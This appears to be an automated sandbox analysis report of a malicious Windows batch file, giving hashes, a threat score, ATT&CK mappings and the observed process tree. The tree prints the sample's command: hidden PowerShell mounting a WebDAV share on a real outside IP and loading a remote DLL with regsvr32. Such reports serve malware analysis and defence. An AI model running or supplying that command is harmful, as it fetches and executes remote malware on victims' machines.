18f1bd8f785304935f165223481adaacbee21a85f294ced9aa8d4aa53f23177d

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 03:32

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General

Target

9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db.bat
Size

16KB
MD5

ce0ac37cf9c24a5a5527149f1e34e2a0
SHA1

a4d0fd98848dc2c796c5a31658dc99b589fa26b3
SHA256

9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db
SHA512

172de7b43cee00e9234178ae84f9f3240cc14191a9837eda5d631609e7e286635ed29ab81805dfc929bfb847b3381e73de691fb9bb5db01da7b338516fe7513f
SSDEEP

384:Xz9qBHwPuI0miD120Tt0WxKJPmmCzTw+uXFktL:XzgovK0WcJPmHzy4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe
2664	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2664	2692	cmd.exe	31
PID 2692 wrote to memory of 2664	2692	cmd.exe	31
PID 2692 wrote to memory of 2664	2692	cmd.exe	31
PID 2692 wrote to memory of 2832	2692	cmd.exe	32
PID 2692 wrote to memory of 2832	2692	cmd.exe	32
PID 2692 wrote to memory of 2832	2692	cmd.exe	32
PID 2832 wrote to memory of 2564	2832	powershell.exe	34
PID 2832 wrote to memory of 2564	2832	powershell.exe	34
PID 2832 wrote to memory of 2564	2832	powershell.exe	34
PID 2832 wrote to memory of 2620	2832	powershell.exe	35
PID 2832 wrote to memory of 2620	2832	powershell.exe	35
PID 2832 wrote to memory of 2620	2832	powershell.exe	35
PID 2832 wrote to memory of 2620	2832	powershell.exe	35
PID 2832 wrote to memory of 2620	2832	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\9a6242ef5182a2d4fb5827d12443ca9456c7279a64ebf570a9f9c821e26518db.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\41641989930996.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2564
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\41641989930996.dll
    3⤵
    PID:2620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2832-23-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2832-24-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download